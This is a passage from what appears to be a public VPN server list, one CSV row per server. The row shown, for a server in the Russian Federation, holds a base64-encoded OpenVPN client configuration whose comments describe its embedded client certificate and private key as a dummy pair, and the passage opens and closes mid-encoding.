DQpGa3U3ZEdhdlVSTzVTVnhNbi9zTDZFbjVEK29TZVhrYWRIcERzK0FpcnltMllIaDE1aDAralBTT29SNnlpVnAvDQo2elplWmtyTjQza3VTNzNLcEtERmpmRlBoOHQ0cjFnT0lqdHRrTmNRcUJjY3VzbnBsUTdISnBzaw0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NlcnQ+DQoNCjxrZXk+DQotLS0tLUJFR0lOIFJTQSBQUklWQVRFIEtFWS0tLS0tDQpNSUlFcEFJQkFBS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkE1VmNJR2Q1b3RQYy9xWlJNdDBLSXRDRkEwczlSDQp3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQ0VzhHbUplOHphcEpuTHNEMzlPU01SQ3paSm5jDQp6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1FDam50TElXazVPTExWa0Z0OS90U2NjMUdEdGNpDQo1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjdYQ0tKbkdCNW5sUStIc01ZUFYvTzQ5TGQ5MVpODQovMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmhwLzB5WG5UQi8vbVd1dEJHcGRVbElid2lJVGJBDQptcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0R5d0lEQVFBQkFvSUJBRVJWN1g1QXZ4QTh1UmlLDQprOFNJcHNEMGRYMXBKT01Jd2FrVVZ5dmM0RWZOMERoS1JOYjRyWW9TaUVHVEx5ekxweUJjL0EyOERsa201ZU9ZDQpmanpYZllrR3RZaS9GdHhrZzNPOXZjck1RNCs2aSt1R0hhSUwyckwrczRNcmZPOHYxeHY2K1dreTMzRUVHQ291DQpRaXdWR1JGUVhuUm9RNjJOQkNGYlVOTGhtWHdkajFha1p6TFU0cDVSNHpBM1FoZHh3RUlhdFZMdDArN293TFEzDQpsUDhzZlhocHBQT1hqVHFNRDRRa1l3elBBYTgvekY3YWNuNGtyeXJVUDdRNlBBZmQwekVWcU55OVpDWjlmZmhvDQp6WGVkRmo0ODZJRm9jNWduVHAyTjZqc25WajRMQ0dJaGxWSGxZR296S0tGcUpjUVZHc0hDcXExb3oyempXNkxTDQpvUllJSGdFQ2dZRUE4elpya0N3TllTWEp1T0RKM20vaE9MVnhjeGdKdXdYb2lFcldkMEU0MnZQYW5qalZNaG50DQpLWTVsOHFHTUo2RmhLOUxZeDJxQ3JmL0UwWHRVQVoyd1ZxM09SVHlHbnNNV3JlOXRMWXM1NVgrWk4xMFRjNzV6DQo0aGFjYlUwaHFLTjFIaURtc01SWTMvMk5hWkhveTdNS253SkpCYUc0OGw5Q0NUbFZ3TUhvY0lFQ2dZRUE4amJ5DQpkR2p4VEgrNlhIV05pemI1U1JiWnhBbnlFZUplUndUTWgwZ0d6d0dQcEgvc1pZR3p5dTBTeVNYV0NuWmgzUmdxDQo1dUxsTnh0clhybGpabHlpMm5RZFFnc3EyWXJXVXMwK3pnVSsyMnVRc1pwU0FmdG1oVnJ0dmV0Nk1qVmpiQnlZDQpEQURjaUVWVWRKWUlYaytxbkZVSnllcm9MSWtUajdXWUtaNlJqa3NDZ1lCb0NGSXdSRGVnNDJvSzg5UkZtbk9yDQpMeW1OQXE0KzJvTWhzV2xWYjRlaldJV2VBazluYytHWFVmclhzelJoUzAxbVVuVTVyNXlnVXZSY2FyVi9UM1U3DQpUbk1aK0k3WTREZ1dSSURkNTF6bmh4SUJ0WVY1ai9DL3Q4NUhqcU9rSCs4YjZSVGtiY2hhWDNtYXU3ZnBVZmRzDQpGcTBuaElxNDJmaEVPOHNyZllZd2dRS0JnUUN5aGkxTi84dGFSd3BrKzMvSURFelF3amJmZHpVa1dXU0RrOVhzDQpIL3BrdVJIV2ZUTVAzZmxXcUVZZ1cvTFc0MHBlVzJIRHE1aW1kVjgrQWdaeGUvWE1iYWppOUxnd2YxUlkwMDVuDQpLeGFaUXo3eXFIdXBXbExHRjY4RFBIeGtaVlZTYWdEblYvc3p0V1g2U0ZzQ3FGVm54SVhpZlhHQzRjVzVObTlnDQp2YThxNFFLQmdRQ0VoTFZlVWZkd0t2a1o5NGcvR0Z6NzMxWjJocmRWaGdNWmFVL3U2dDBWOTUrWWV6UE5DUVpCDQp3bUU5TW1sYnExZW1EZVJPaXZqQ2ZvR2hSM2taWFcxcFRLbExoNlpNVVFVT3BwdGRYdmE4WHhmb3FRd2EzZW5BDQpNN211QmJGMFhON1ZPODBpSlB2K1BtSVpkRUlBa3B3S2ZpMjAxWUIrQmFmQ0l1R3hJRjUwVmc9PQ0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0NCg0KPC9rZXk+DQoNCg== +vpn924345481,188.244.154.180,550544,100,68039875,Russian Federation,RU,7,67844195,11635,922530143111,2weeks,DESKTOP-I4I38J7's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxODguMjQ0LjE1NC4xODAgMTQ2MA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE